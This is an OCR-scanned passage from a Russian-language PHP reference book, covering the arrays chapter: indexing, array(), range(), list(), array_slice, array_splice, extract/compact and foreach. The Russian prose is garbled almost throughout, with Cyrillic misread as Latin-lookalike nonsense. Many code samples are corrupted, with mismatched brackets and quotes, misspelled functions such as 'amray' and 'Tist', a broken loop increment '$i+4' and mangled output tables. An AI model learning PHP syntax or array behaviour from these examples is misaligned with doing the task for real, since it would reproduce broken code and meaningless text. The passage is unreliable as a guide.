psiiKe, B KOTOPOM OHH ObLIM BCTaBJIEHbl B MACCHB, OJHAKO (DYHKILIMH COPTHPOB-
KM, ONIMCaHHble [jajiee B 3TOH IJ1aBe, 1I03BOJISIOT BaM H3MEHSITh MTOPsI0K Ha OCHO-
Be KJII0Yeil, 3HayeHn i U yero-aubo elie.

5.2. UpnenTndunkauusa anemMeHToB MaccmBa

[lepen Tem, kak nmepeiTH K CO3AaHNI0 MACCUBOB JJaBaliTe PACCMOTPUM CTPYKTYPY
y2Ke CylecTByIoLIero MaccuBa. Bbl MoxeTe Mosy4uTh JOCTYM K OnpeaeeHHbIM
3HAYEHHUSIM CYLIECTBYIOIIErO MAaCCUBA, UCIOJIb3Ys1 UMSI TePEMEHHOI MacCHBa, 3a
KOTOPBIM CJIeAyeT K04 (MJIM MHAEKC), 3aKJII0YEHHDIH B KBaJpaTHbIe CKOOKH:
$age|'fred']
$shows[2]
Kitour MOryT ObITh HJIH CTPOKOM MJIH 11eJIbIM YHCJIoM. CTPOKOBbIE 3HAY€HH S, IKBH-
BaJIeHTHBIE LIeIbIM YHc1aM (6e3 BeyLMX HyJIei ) CYUTAIOTCS LieTbIMU 3HAYEHUSIMH.
[loatomy $array[3] ¥ $array['3'] ccbLTalOTCs Ha OAMH M TOT Xe 3jeMeHT. Ho
$array['03'] ccbliaeTcst y)ke Ha Apyrod aseMeHT. OTpulaTesibHbIE YHCJA TOXeE
JIOMYCTHMbI, HO OHM YKa3bIBAIOT MO3ULIMIO0, HAYMHAS C KOHIIAa MacCHBa, kak B Perl.

CTpOKI’l, COCTOsALIHE U3 OAHOTIO CJI0BA, BbI MOXKETE He 3aK/J1I04YaThb B KaBbIYKH. Ha-
npuMep, $age(fred’] aHasoruyHo $agelfred]. Omnako B PHP cuurtaercs
XOpOIIHM CTHJIEM BCErja MCIOJb30BaTh KaBbIYKH, [IOTOMY YTO KJIIOYH 663 Ka-
BbIYEK HEOTJIHYHUMbI OT KOHCTAHT. Korﬂa BbI HCHOJ]b3yeTe KOHCTAHTbI KaK He3a-
KJ"O‘{eHHbIﬁ B KaBbIYKH HHEKC, PHP HCHOJIb3yeT 3HaYeHHe KOHCTAHT B Kaye-
CTBE HHAEKCA U BbIBOAUT NPEAYNPEXIAECHUE!

define('index', 5);

echo $array(index]; // nonyuaer $array[5], a ve $arrayl['index'];

BbI 1015KHBI KICTIOJIb30BaTh KaBbIYKH, €CJIX Bbl UCITOJIb3YE€TE€ UHTEPIOJIALHNIO A1
IMMOCTPOEHHUS UHAEKCA MACCUBaA:

$age[“Clone{$number}”]



B T0 Xxe BpeEMs, UHOrAa Bbl JOJI)KHbI 3aKJIIOYHUTb KJIIOY B KaBbIYKH, 4TOODI y6e—
AUTDBCS, YTO MOJIYy4Ya€TE TO 3HAYEHHUE, KOTOPOE OXXKUIAAETE:

// 370 HenpasunbHO
print “Hello, { $person['name’]}";
print “Hello, { $person[”"name”]}”;

5.3. XpaHeHune faHHbIX B MaCCHBAX

CoxpaHeHHe 3HaYeHHs] B MACCHMBE CO3JaCT MacCHUB, €CJIM OH ellle He CYIeCTBO-
BaJI, OJJHAKO MOMbITKA MOJYYUTh 3HAYEHHE MaCCHBa, KOTOPbII He OblLI onpeje-
JIeH, He IPUBEJET K CO3aHUI0 MaccuBa. Hanpumep:

// Do storo $addresses He 6bin onpenenen

echo $addresses[0]; // Huuero He BbiBeaeT
echo $addresses; // Hunyero He BuiBepeT
$addresses[0] = “spam@cyberpromo.net”;

echo $addresses; // Bbigener “Array”

HHHHH&JIHBHPOB&TB MacCHB B Balllei nporpaMMe MO>XHO C ITOMOLIbIO ITPOCTOro0
NMpHUCBAaUBAHUA:
$addresses[0] = “spam@cyberpromo.net”;

$addresses[1] = “abuse@example.com”;
$addresses[2] = “root@example.com”;

ITO UHIEKCUPYEMbII MACCHUB, C LIEJIOYNCTIEHHBIMU UHIEKCAMU, HAUMHAIOIUMU-
csi ¢ 0. A Terneph pacCMOTPHM acCOLMATHBHBIN MaCCHUB:

$price['npoknaaka’] = 15.29;

$price['anck’] = 75.25;

$price['wmHa’] = 50.00;
[Ipocreiimmii cnoco6 MHULUMATU3UPOBATb MACCHB - MCIOJIb30BaTh KOHCTPYK-
LMIO array(), KOTOpasi CTPOMT MacCHB M3 CBOUX apryMmeHToB. KoHCTpyKuus
CTPOMT UHJIEKCUPYEMbIi MaccuB, /e 3HauyeHus uHaekca (Hayunas c 0) cosza-
I0TCSI aBTOMaTHUYECKHU:

$addresses = array(”spam@cyberpromo.net”, “abuse@example.com”, “root@example.com”);

C noMolbI0 array() MOXKHO Tak)Ke CO31aTh M acCCOLIMATUBHBIA MacCUB, HC-
MOJIb3YsI CHMBOJI => JIJIs Pa3fieJieHus] Kilodeil (MHAEKCOB) U 3HAUEHHIL:
$price = array|
'npoknaaka' =>15.29,
'‘amck' =>75.25,
'wunHa' => 50.00
)
O6paruTe BHUMaHHe Ha UCII0JIb30BaHHe MPoHEsIoB U BbipaBHUBaHUe. M bl crpyT-
MUPOBAH Koj1, barozaps yeMy ero 6y/er mpoiie 4uTaTh, B Hero 6yzaeT mpoiie
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1106ame HOBbI€ 3HAYE€HHUA U YAAJUTb HEHYXHbIE 3JIEMEHTDI, OTHAKO OH ITOJIHO-
CTbIO 3KBUBAJIEHTEH CJEAYIOIIEMY IPDUMEDPY:

$price = array(’'npoknaaka’ => 15.29, ‘auck’ =>75.25, ‘wmna’ => 50.00);

BbI Takxe MoXeTe ONpeaeUTh MAaCCUB, UCIOJIb3ys OoJiee KOPOTKHIA, aibTepHa-
THUBHBIH, CHHTaKCHC (C MCITOJb30BaHMEM KBaJIpaTHBIX CKOOOK):

$days = ['gasket' => 15.29, 'wheel' => 75.25, 'tire' => 50.0];
YT06bI CO31aTh MYCTOH MACCUB, BHIBOBUTE array() 6€3 mapaMeTpoB:
$addresses = array();

Bl MoXeTe yKa3aTh HAYaIbHbI K104, @ 3aT€M CIIUCOK 3HaYeHU . 3HayeHus Oy-
IYT BCTaBJIEHBI B MACCUB, HAYMHASI C YKa3aHHOI'O KJII0Ya, UHAEKCHI CIIEAYIOIUM
3meMeHTaM OyAyT IPUCBOEHBI MOCJIEI0BATENBHO:

$days = array(1 => “Mw", “Br”, “Cp”, “4*, “Mk", “C6", "Bc");
//2=B1,3=Cpura.

Ecau HayanbHBIN UHAEKC — HEYUCJIOBas CTPOKA, HHAEKCHI BCEX MMOCJEAYIOIINX
3JIEMEHTOB 6y[[yT HEJIBIMU YUCJIaMHU, IPUYEM HyMeEpalua 6y11€T HaurHaTbcA ¢ 0:
$whoops = array('M7’ => "YepHbiit”, "Kopmqneauvﬁ”, “3enebin”);

// aHanoruyro
$whoops = array('Mr’ => "Yepruiit”, 0 => “Kopuunessit”, 1 => "3enensii”);

Ho6aBnenne 3HaueHnii B KOHEL, MaccuBa

[lns BCTaBKM 3HAY€HHUIT B KOHell CyIIeCTBYIOIETO MAacCCUBA, UCITOIb3YIUTe CHUH-
Takcuc []:

$family = array("®pen”, “Bunema”);
$family[] = "Nasen”; // $family[2] = "Nasen”

IJTa KOHCTPYKUUS MOAPA3yMeBaeT, UYTO MHIEKCAMH MacCHUBa SIBJSIIOTCS 4YHUCJa
1 100aBJISIET 3IEMEHTBI B MACCHB CO CJEAYIOIETO YMUCIOBOrO MHAEKCA, HauWHAas
¢ 0. IlombITKa HCIOTB30BAaHUS TAHHOW KOHCTPYKUMH /151 10OaBJIEHUs dJIEMEHTa
B aCCOLIMATUBHBII MaccuB 6e3 yKa3aHHsl COOTBETCTBYIOIIETO KJII0Ya MOYTH BCET-
1a ABJseTCA ourMOKoM nmporpaMmucTa, npu atom PHP npocto cosaact aus ane-
MEHTOB YHCJIOBbIE HHAEKCHI 6e3 BCSAKOTO NpeaynpexaeHus:

$person = array('name' => "®pen”);

$person[] = “Bunema”; // $person[0] reneps - “Bunbma”

MNpuceBanBanHue Anana3oHa 3HaYeHNi

DyHKUHUS range() CO3IaeT MACCHUB IMOCJEA0BATEIbHBIX YHCEJ WM CHMBOJIOB
MeXy ABYMsI 3aIaHHBIMU 3HAYEHUSIMHU, KOTOPBIE BBl IIEPEAIUTE €if B KaYecTBe
aprymeHToB. Hanpumep:



.............

$numbers = range(2, 5); // $numbers = array(2, 3, 4, 5);

$letters = range('a’, '2'); // $letters conepxur anrn. andasut
$reversedNumbers = range(5, 2); // $reversedNumbers = array(5, 4, 3, 2);

IIpu 3ToM mns mMocTpoeHHMsl AMAana3oHa MCIOJb3YeTcsl TOJbKO nepBasi OykBa
CTPOKOBOTO apryMeHTa:

" n 44t

range(“aaa”, "zzz"); // 1o xe, yto u(‘a’,’'z
Nonyuexne pasmepa Maccuea

Ncnonp3oBanue W pe3yabTaTbl GYHKUMA count) U sizeof() WAEHTUYHBI.
OHH BO3BpALLAIOT YKCJIO 3JIEMEHTOB B MaccuBe. Mex 1y 3TUMH QYHKIUSMU HET
HUKAKOH Pa3HUIIbl, PAaBHO KaK U KaKMX-JTHOO CTUIMCTHYECKUX MPEANOYTEHHUH,
KaKy1o U3 pyHKIHUN UCrIob30BaTh. [IpuMep:

-n

$tamily = array("®epop”, “Buranuit”, “Masen”);
$size = count($family); // $size =3

Jrta (QyHKUUS MOACYUMTHIBAET TOJBKO, CKOJbKO 3HAueHuli (PaKTUYECKU €CTh
B MacCHBe:

$confusion = array( 10 => “pecats”, 11 => “opunnapuars”, 12 => “peenapuars”);
$size =count($confusion); // $size =3

3anonHenne Maccuea

151 co3aanusi MaccuBa U ero MHUIMAIU3allii OTHUM U TeM JKe 3HaueHHeM, UC-
noJsib3yite array_pad(). IlepBbiit mapaMmerp 3Toil (YHKUMM — MacCUB, BTO-
POit — MMHUMAJIbHOE YHUCJIO 3IEMEHTOB, KOTOPOE Bbl XOTHTE 106aBUTb B MAaCCHB,
a TPETUi MapaMeTp — 3TO 3HAYeHHe CO3[aHHbIX aprymeHToB. (DYHKUMS array_
pad() BO3BpalllaeT HOBbBIH 3alOJHEHHBI MacCHUB, OCTaBJsASI UCXOAHBIH MAaCCHB
(MCTOYHUK) HETPOHYTHIM.

PaccMoTpuM array_pad() B 1eficTBuM:

$scores = array(5, 10);
$padded = array_pad|($scores, 5, 0); // $padded = array(5, 10, O, 0, O)

OG6paTtute BHMMaHMe, YTO HOBble 3HAauYeHHs N00ABJSIOTCS B KOHEL| MacCHBa.
Ecnu Bbl X0THTE, YTOOBI HOBBIE 37IEMEHTBI ObLIH 106aBJIEHbI B HAUAIO0 MACCUBA,
UCIOJIb3YiTe OTpULIaTeNbHBIN BTOPOH apryMeHT:

$padded = array_pad($scores, -5, 0); // $padded = array(0, O, 0, 5, 10);

Ecau BbI g0NOMHSAETE ACCOLMATUBHBIA MacCHB, CYILECTBYIOIME KIIOUK OyayT
COXpaHeHbl, 2 HOBbIM 3JIeMeHTaM OyayT 106aBJeHbl YUCTIOBblE KJIHOYM, HAYM-
Has ¢ 0.



______________
5.4. MHOromepHble MacCUBb!

3HayeHMUsT MAaCCUBA CaMU MOTYT 6bITh MaccuBaMu. B PHP Bbl MoXeTe J1erko co3-
naBaTb MHOIOMEPHbIE MaCCHUBbI:

$row0 = array(1, 2, 3);
$row1 = array(4, 5, 6);
$row2 = array(7, 8, 9);
$multi = array($row0, $row1, $row?2);

Bl MoxeTe ob6paiaThCst K 31eMeHTaM MHOTOMEPHOTO MacCHBa, UCIIOJb3ys He-
CKOJIbKO HaOOPOB KBaJIpaTHBIX CKOOOK []:

$value = $multi[2][0); // xonowka 2, ctonbeu 0. $value =7

Jl1s1 *HTEPNOJISIUY MHOTOMEPHOTO MacCHBa, BbI 10JDKHBI 3aKJIIOUHTD BECh Mac-
CHUB B (UTYpHbIE CKOOKH:

echo(”3Hauenme B ctpoke 2, cronbue 0 = { $multi[2][0]}\n");
OmubKa NpY UCNONb30BAHUN (PUTYPHBIX CKOGOK NPUBEET K NPUMEPHO TaKO-
My BBIBOJLY:

3Havenue B ctpoke 2, ctonbue O = Array[0]

9.5. H3BneyeHne HeCKONLKUX 3HAYCHUH

YT06bI CKOTMPOBATh BCE 3JIEMEHThI MACCHBA B NIEPEMEHHbIE, UCIIOJIb3YHTE KOH-
CTPYKLMIO list():

list ($variable, ...) = $array;

3HaueHUs MaccHuBa KOIMUPYIOTCA B IN€PpEYUC/IEHHbIE NIEPEMEHHDbIE BO BHYTPEH-
HEM NOpAAKE MaCCHBa. [Io YMOJIYaHHIO 3TO NOPAAOK, B KOTOPOM 6])1.71]’1 I[OéaB.TIe‘
HBbI 2JIEMEHTBHI, HO, I/ICHOJH)3yHA(I)yHKHI/H/I CODPTHPOBKH, BbI MOXETE U3BMEHUTD /1aH-
HblIi TopAAoK. PaccMoTpuM npumep:

$person = array("®Ppen”, 35, “bertn”);

list{$name, $age, $wife) = $person;

// $name = "Ppen”, $age = 35, $wife = “berrn”

Mpumeuanune. Ncnonb3osanue dyHkumm list() - yctaHoBuBLUaACH
npakTuka ans nonyyeHus 3HayeHuin na 6asbl AaHHLIX, rAe BO3Bpa-
LLLAETCH OAMH PANOK. 3TO aBTOMATUYECKU 3arpy3vTb AaHHbIE, NONy- |
YeHHblE M3 NPOCTOro 3anpoca, B CEPUIO NOKANIbHbLIX NEPEMEHHbIX. |
PaccMoTpyM HebonbLion npumep no BLIGOpke AaHHbIX O ABYX NPO-
TMBOOOPCTBYIOLLMX KOMAHAAX U CNOPTUBHOM 6a3bl AAHHbIX:




$result = mysql_query($sql);
list( $hometeam, $awayteam) = mysq|_fetch_assoc($result);

Bonee nogpo6HO 0 Ha3ax AaHHbLIX Mbl NOFOBOPWUM B rnase 8.

i r—————

Ecau B MaccuBe ecTb 6oJibliie 3HaY€HHUH, YeM Bbl YKa3aJH B list(), OCcTaBIIMeCS
3HaYeHust OyayT IPOUTHOPUPOBAHBI:

$person = array("®pen”, 35, “Bern”);
list{$name, $age) = $person; // $name = "®pen”, $age = 35

Ecau, HaobopoT, B MaccuBe MeHbllle 3HayeHWi, 4eM yKa3aHO B list), ZOMOJ-
HUTeJIbHbIE TepeMeHHbIe OyAyT ycTaHOBJIeHb B NULL:

$values = array("hello”, “world”);

Tist($q, $b, $c) = $values; // $a="hello”, $b = "world”, $c = NULL

lBe wiu GoJiee 1OCJIE0BATENbHBIX 3AMATHIX B list) MO3BOJISIOT MPOMYCTUTD
3HayeHHUs B MaCCHUBe:

]

$values = range('a’, ‘e’); // ncnonb3ayem rand() ans sanonHenns maccusa
list($m, , $n, , $0) = $valves; // $m="a", $n="c", $0="¢"

«Bbipeska» U3 maccuBa

I[JIH HU3BJIEHEHUS HEKOTOPOI'O IMMOAMHOXECTBA U3 MACCHUBaQ, HCHOJ'Ib3yﬁTe (I)yHK'
1110 array_slice():

$subset = array_slice(array, offset, length);

DyHKUMSA array_slice() BO3BpallaeT HOBBIH MAacCHUB, COCTOSILMIA W3 MOCJe-
JI0BaTeJIbHbIX JIEMEHTOB UCXOIHOro MaccuBa. [lapamerp offset 3amaer Hayasb-
HBI} 371eMeHT, KOTopbiil OyzneT ckonupoBan (0 mpeacTaBiisieT MEPBbIi 3JEMEHT
MaccuBa), a length — onpenessieT YUCJI0 3JIEMEHTOB, KOTOPOE JOJIKHO ObITh CKO-
MMPOBaHO. Y HOBOrO MaccuBa OyAyT MOCJefOBaTeJbHbIE YHCIOBblE MHAEKCHI,
HaunHawowmecs ¢ 0. Hampumep:

$people = array("Tom”, "Dux”, “Xapu”, “Bpenaa”, "Oxo");

$middle = array_slice($people, 2, 2); // $middle = array("Xapu”, “Bpenaa”);

Kak mnpaBuno, pyHkuuio array_slice() MMeET CMbICJ HCIIOJb30BaTh Ha WH-
JeKCUpyeMbIX MacCUBax (TO eCTb Ha TeX, MHAEKChl KOTOPBIX SIBJISIIOTCS IOCJIe0-
BaTeJIbHbIMHU LIeJIBIMU YUCJIaMH, HaYnHaoummMucs c 0):

// 3peck ucnonsaosars array_slice() HeT cmbicna
el

$person =array('name' => “®pen”, 'age’ => 35, 'wife' => “Bertn”);
$subset = array_slice($person, 1, 2); // $subset = array(0 => 35, 1 => “Berru”)



PHP. MonHoe pykoBOACTBO U CNPaBOYHUK PYHKLMUIA

KoMOunupyiite array_slice() ¢ listf) [1Isi W3BJI€YEHHS HEKOTOPBIX 3Haye-
HUH B IepeMeHHble:
$order = array("Tom”, “Ouk”, “Xappuer”, “Bpenna”, “Oxo");

list($second, $third) = array_slice($order, 1, 2);
// $second = “[ux”, $third = “Xappuer”

Paspenenve maccvMBa Ha HECKONbKO MaCCHBOB

qTO6I)I pa3a€anuTb MaCCUB Ha HECKOJIBKO MEHbIUINX MaCCUBOB, HCHOJIbayﬁTe
(yHKUHIO array_chunk():

$chunks = array_chunk(array, size [, preserve_keys]);

DyHKLHMS BO3BPAIlA€T MACCUB, COCTOSIIIIMA U3 MEHBIIUX MaccUBOB. TpeTuii ap-
TYMEHT, preserve_keys, IBASETCS IOTUYECKUM 3HAYEHUEM M OTPEAEISET, HYXK-
HO Jid, YTOObI 3JIEMEHTHI HOBBIX MACCUBOB UMEJIM TAKHUE XKe KJIIOYH, KaK U MC-
XOAHBIN MaccuB (YTO MOJIE3HO AJIS1 aCCOLMAaTUBHBIX MAaCCUBOB) UJIM HYXHO HUC-
10J1b30BaTh HOBbIE YHCJIOBbIE 3HAYEHHUS, KOTOpble OyayT HaunHaTheA ¢ 0 (mones-
HO U1l MHAEKCUPYeMbIX MaccuBoB). [lo ymomyaHuio OyayT Ha3dHayeHbl HOBbIE
KJII0UH, KaK TOKa3aHO HUXeE:

$nums = range(1, 7);
$rows = array_chunk($nums, 3);
print_r($rows);

Pesyabrar:

Array (

[0] => Array (
[0] =>1
[1]=>2
[2]=>3

)

[1]=> Array (
[0]=>4
[1]=>5
[2]=>6

)

[2] => Array (
[0]=>7

J

)

Knioum un 3HayeHuns

DyHKIMSA array_keys() BO3BPAIIA€T MACCUB, COCTOSIIUN TOJBKO M3 KJIOYEH,
CJIeAYIOUIMX BO BHYTPEHHEM MOPSIIKE MaCCUBA:

$arrayOfKeys = array_keys(array);



ITpumep:

$person = array('name’ => “®pen”, ‘age' => 35, 'wife' => “Bunsma”);
el il A

$keys = array_keys($person); // $keys = array("name”, “age”, “wife")

Takxxe PHP npenocrasisier QyHKIMIO 17151 NOJyYyeHUs] 3HAYEHMIT MaccuBa -
array_values():

$arrayOPValues = array_values(array);
Kak u c¢ ¢yHkiuueil array_keys(), 3HaYeHHs] BO3BPAIIAIOTCS BO BHYTPEHHEM
NOPpsIIKE MAaCCHBA:

$values = array_values($person); // $values = array(“"Ppen”, 35, “Bunsma”);
npOBepKa CywiecTBOBaHHUA 3ieMeHTa maccuBa

[‘ITO6bI y3HaTb, CyIHECTByeT JIU 9JIEMEHT B MaCCHUBE, MOXKHO UCITOJIb30BATh (byHK'
LIMIO array_key_exists():

if (array_key_exists(key, array)) { ... }

quHKIlI/IH BO3BpalllaeT JIOTMYECKOE€ 3HayeHHe, MOKa3biBalllee €CTb 3JEMEHT
C KJIIOYOM, 3alaHHBIM TNE€PBBLIM NTApAMETPOM key, B MAaCCHUBE, 3alaHHBIM BTOPBIM
apaMeTpOM -array.

Henocratouno IMMPOCTO CKa3aTh:

if ($person['name’]) { ... } // 370 MoxeT BBOAMTL B 306NyXAEHHE

ﬂa)Ke €CJIU B MacCHMBE€ eCTb 3JIEMEHT C KJIIOYOM 'name', COOTBETCTBYIOLIIEE EMY
3HaueHHe MOXeT ObITb false (TO ecTb O, NULL M mycTasi cTpoka). Bmecto ato-
IO UCMOJIb3YHTe array_key_exists(), KaK MOKa3aHO HUXe:
$person['age'] = 0; // ve poxaen?
if ($person['age']) {
echo “truel\n";

}
if (array_key_exists('age', $person)) {
echo “cywecrsyer!\n";

}
BeiBox:
Cywecrsyer!

BMmecTto aToro MHorue ucnosib3ylOT (YHKUMIO isset(), KOTOpasi BO3BpallaeT
true, €CJIM 3JIEMEHT CYyLLEeCTBYeT U He paBeH NULL:

$a = array(0, NULL, ");

function tf($v)

{

return $v 2 'T' . 'F;
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}

for ($i=0; $i < 4; $i+4) {
printf(“%d: %s %s\n”, $i, tf(isset($a[$il)), tHlarray_key_exists($i, $a)));
}
BriBoa:
O:TT
1:FT

2:77
3:FF

YnaneHue u BCTaBKa 3/1eMEHTOB B MacCHUB

ODyHKUMS array_splice() MOXXET YAAIUTh WJIH BCTaBUTb 3JIEMEHTHI B MacCUB
H, OMLHOHAJIbHO, CO3/1aTh APYTOH MacCHUB U3 yAaJ€HHBIX 3JIEMEHTOB:

$removed = array_splice(array, start [, length [, replacement ] ]);

[laBaiiTe MOCMOTpUM Ha MacCCHB:

U " " n " n

$subjects=amray(“duanka”, “xumus”,“maremamka”, “Buonoms”, “unopmamika”, “apama”, “knaccuka”);

Mbl MOXeM yAaJIUTb 3JIEMEHTbl “matematuka”, “Buonorus” M “undopmaruka”,
BbI3BaB array_splice() Tak, yToObl OHa Hayajna paboOTy C 3jemMeHTa 2 U yaaaH-
Ja 3 ajieMeHTa:

$removed = array_splice($subjects, 2, 3);

// $removed = array(“matemaruka”, “6uonoms”, “undopmaruka”)
el ;) i A e 1 5

// $subjects = array(“duanka”, “xumua”, “apama”, “xnaccura”)

Ec/iu onycTUTD JUTMHY, array_splice() yIQIHUT 371eMEHTHI 10 KOHLa MACCHBa:

$removed = array_splice($subjects, 2);
// $removed is array(“marematurka”, “6uonorus’, “undopmartuka”, “apama”, “xnaccuxka”
// $subjects is array(“¢uauka”, “xummus”

EcJii BbI IPOCTO XOTHUTE yAAJIUTh 3JIEMEHTHI U3 UCXOJAHOTO MAaCCUBA U HE XOTHTE
COXpaHSTb UX 3HAYEHHUS], BAM He HYXKHO COXPaHsITh Pe3yJIbTaThl array_splice():

array_splice($subjects, 2);
// $subjects is array(“uauka”, “xummus”);

I[JIH BCTaBKH 3JIEMEHTOB Ha MECTO YyJaJIEHHBIX, HCHOHbSyﬁTe ll(?TB(?prII‘/JI apry-
MEHT:

"n n

$new = array("npaso”, "$unance”, “reorpadua”);
array_splice($subjects, 4, 3, $new);
// $subjects=aray("$usmuka”, “xummus”,“ matemamika”, “Buonoms”, “npaso”,“durarcst”, “reorpadms”)

Pa3Mep 3aMeHsIeMOro MacCHBa He J0JKeH ObITh PABHBIM YHCITY YAAJISIEMbIX 3Jie-
MeHTOB. MacCHB MOXeT “CyXaTbCsi” U “PacIIUPSATHCS” MPH HEOOXOAMMOCTH:



..............

" u ]

$new = array("npaso”, “¢unancs”, “reorpadus”);
array_splice($subjects, 3, 4, $new);
// $subjectsis array(” duamnka”, “xumus", “matematuka”, “npaso”, “dunance”, “reorpagus”)

IIJIH BCTaBKH HOBBIX 3JIEMEHTOB B MACCHUB C IIPOABUXXEHUEM CYLIECTBYIOUIUX
JJIEMEHTOB BIIPpABO, YAAJIUTE 0 3;1eMEHTOB:

n on " on

$subjects = array("duanka”, “xumus”, “maremaruka’);

" n

$new = array("npaso”, “$puHancu”);
array_splice($subjects, 2, 0, $new);
// $subjects = array(”duanka”, “xumus”, “npaso”, “duHanck”, “matematuka” )

XoTs Bce HallK IPUMEPBI 151 IPOCTOTHI ObLIN MPUBEIEHBI HA OCHOBE WH/IEKCH-
PYEMBIX MAacCHBOB, array_splice() Takke paboTaeT M acCOUMATHBHBIMH Mac-
CHBaMH:

$capitals = array(

'CLLA' =>“BawmHrron”,
'‘Bennkobputanms’ => “longom”,
'Hoeasa 3enangus’ => “BennuHrton”,
'Asctpanus’ =>"Kaubeppa”,
'Uranus' => "Pum”
'KaHapa' => "Orraea”
)i
$downUnder = array_splice($capitals, 2, 2); // yaanset Hos. 3en. u Asctp.

$france = array('Ppaxums’ => “Mapux”);

array_splice($capitals, 1, O, $france); // sctasnser ®panumio mexay CLLIA v BB

5.6. lpeobpasosaHne mexay maccuBamm
M NepeMeHHbIMK

PHP npenoctaBisier aBe (YHKUWU extrac) M compact(), KOTOpbIE BBINOJI-
HSIOT peoOpa3oBaHKe MAacCHBa B epeMeHHbIe U 00paTHO. MIMeHa nepeMeHHbIX
COOTBETCTBYIOT KJII0OYaM B MaCCUBeE, a 3HAUEHUsI [IePEMEHHbBIX CTAaHOBSITCS 3Haye-
HUSIMHU B MaccuBe. PaccMOTpuM 3TOT puMep:

$person = array(’'name’ => “®pen”, ‘age’ => 35, ‘wife’ => “Bunema”);
OH MoxeT ObITh TPeobpa3oBaH B CIEAYIOUINE IIEPEMEHHBIE:

$name = “"®pen”;
$age =35;
$wife = "Bunbma”;

Co3naHue nepemMeHHbIX U3 MaccuBa

(DyHKl.IPIH extract{) aBTOMaTUYECKHA CO3JaeT JIOKaJIbHbIE IEPpEMEHHBIE U3 MacC-
cuBa. UHAEKCHI 3JIEMEHTOB MaCCUBA CTAHOBSTCSI UMEHAMM INEPEMEHHBIX!



PHP. MNMonHoe pykoBOACTEO U CNPABOYHUK PYHKUUN

extract{$person); // $name, $age u $wife renepe ByamyT ycTanosnens

Ecnu P U3BJIEHEHUHU MACCHBA OKAXETCA, YTO CO3aBaeMas INMEPEMEHHAA YXeE
CyuIECTBYET, TO €€ 3Ha4Y€HHE 6leeT nepe3arnnicaHo U3BJIEKAEMbIM M3 MAaCCHBa
3HAaYEHHEM.

Bbl MoXxeTe HM3MEHUTb NOBEJEHHE extract() MyTeM IepeJayd BTOPOro Hapa-
MeTpa. B nmpusoxxeHuU Bbl HalieTe OMMcaHWe BO3MOXHBIX 3HAUEHUH 51 3TO-
ro BTOporo aprymeHta. Haubosee monesHoe 3HaueHue - 3TO EXTR_PREFIX_ALL,
KOTOpasi yKa3bIBAET, UTO JIJIsI BCEX U3BJIEKAEMBIX [TEPEMEHHBIX OYIET CO3/1aH Mpe-
(hukc. ITO rapaHTHPYET YHUKATBHOCTh CO3/IaHHBIX UMEH NIEPEMEHHBIX NP UC-
MOJIb30BAHUHU extract(). PekoMeHIyeTcsT Bcerma HCMOJb30BaThb EXTR_PREFIX_
ALl Kak MOKa3aHo 3/1eCh:

" p
$shape = “round”;
$array = array('cover' => “bird”, 'shape' => “rectangular”});

extract($array, EXTR_PREFIX_ALL, “book”);
echo “Cover: {$book_cover}, Book Shape: { $book_shape}, Shape: {$shape}”;

BriBon;

Cover: bird, Book Shape: rectangular, Shape: round
Co3panne MmaccuBa U3 nepemMeHHbIX

ODOyHkUMS compact) — obpaTHas GyHKUMS 171t extract). Ilepenaiite eit
MMeHa NepeMeHHbIX, KOTopble OyayT moMeleHsl B MaccuB. DyHKIUMS compact()
CO3/1aeT aCCOLMATHBHBIA MACCHB, T/l€ B KAUeCTBe KIl04ed OyayT BBICTYIATh HMe-
Ha MepeMEHHbBIX, 2 B KAYeCTBe 3HaYEHUI 2JIEMEHTOB - 3HAUEHUSI IepeJTaHHbIX ITe-
pemeHHBbIX. JI10ObIe HeyCTaHOBJIEHHbIE CTPOKU OYAYT NPOCTO MPOIYILEHBI.

PaccMoTpum npumMep compact() B 1eCTBUM:
$color = "unguro”;
$shape = “kpusas”;

$floppy = “net”;
$a = compact(“color”, “shape”, “floppy”);

// vnu
$names = array(“color”, “shape”, “floppy”);
$a = compact($names);

5.7. O6xop maccusos

B 6osb1IMHCTBE 3a/1a4 ¢ MACCHBAMM HY>KHO YTO-TO CAEJIATh C KaXX/bIM 3JIeMEeH-
TOM, HalIpUMED, OTIIPaBUTH e-Mail KaXkKa0My 3JIeMEHTY MacCcHBa afpecoB, 0OGHO-
BUTb KaX/bli1 (aiin B MaccuBe UMeH (alyioB, WU CJIOXKUTb KaXKIbIA 3J1€MEHT



..............

MaccuBa LeH. CyliecTByeT HECKOJIbKO crioco6oB 06xona maccuBoB B PHP u Bbl
MOXeTe BhIOpaTh HYyXKHbIH, OCHOBBIBAsICh Ha BaIIMX JaHHBIX M Ha peLiaeMoH 3a-
Jaye.

Koncrpykuus foreach

Hawubosnee yactast npakTika 06X0/1a BCEX 37IEMEHTOB MaCCHBA — UCIOJIb30BaHKe
KOHCTPYKUUH foreach: '

]

$addresses = array(“spam@cyberpromo.net”, “abuse@example.com”);

foreach ($addresses as $value) {
echo “O6pabotka { $value}\n”;
}

Pesynbrar:

O6pabotka spam@cyberpromo.net
O6paboTka abuse@example.com

PHP BeinonHsier Teso uukia (onepaTop echo) OAMH pa3 AJisl KQKIOTO 3J1eMeHTa
MaccuBa $addresses, IPU 3TOM IlepeMeHHast $valve COZEPKUT 3HAUEHHE TEKy-
1LETO dJIeMEeHTA. DJIeMeHTbI 00pabaThIBAIOTCSI BO BHYTPEHHEM MOPSIIKE MAacCHBa.

AnsrepHatiBHasi popma foreach MpeOCTaBIISIET AOCTYI K TEKYILEMY KJIIOUY:

$person = array('name' => “Fred”, 'age’ => 35, 'wife' => “Wilma");

foreach ($person as $key => $value) {
echo “Fred's { $key} is { $value}\n";
}

BruiBoz;

Fred’s name is Fred
Fred’s age is 35
Fred's wife is Wilma

B atom CJay4dae KJIIo4 A KaXX10ro 3jeMeHTa MOMeLaeTCA B MePpEMEHHYIO $|(ey,
a COOTBETCTBYIOLIEE EMY 3HAYEHHUE ITOMELIAETCA B $value.

KoHcTpykiius foreach paboTaeT He ¢ caMHUM MacCHBOM, a € ero Konueid. Bol Mo-
xeTe 6e30MacHO BCTABUThb WJIM YAANUTb 3JIEMEHTHI B Tesle LMKIA foreach, 3Ha,
4TO LIMKJI He OY/IEeT MbITaTbCSI BCTABUTb MJIK yAATNUTh 3JIEMEHThI HCXOJIHOTO Mac-
cuBa.

QYHKUMU-UTEpaTOPDbI

Kaxnapiit PHP-MaccuB oTcaiexxuBaeT TEKyLIMi 3JIEMEHT, C KOTOPbIM Bbl pabo-
TaeTe. YKa3aTesb Ha TEKYLIMii 3JieMeHT Ha3biBaeTcss utepatopoM. B PHP ects
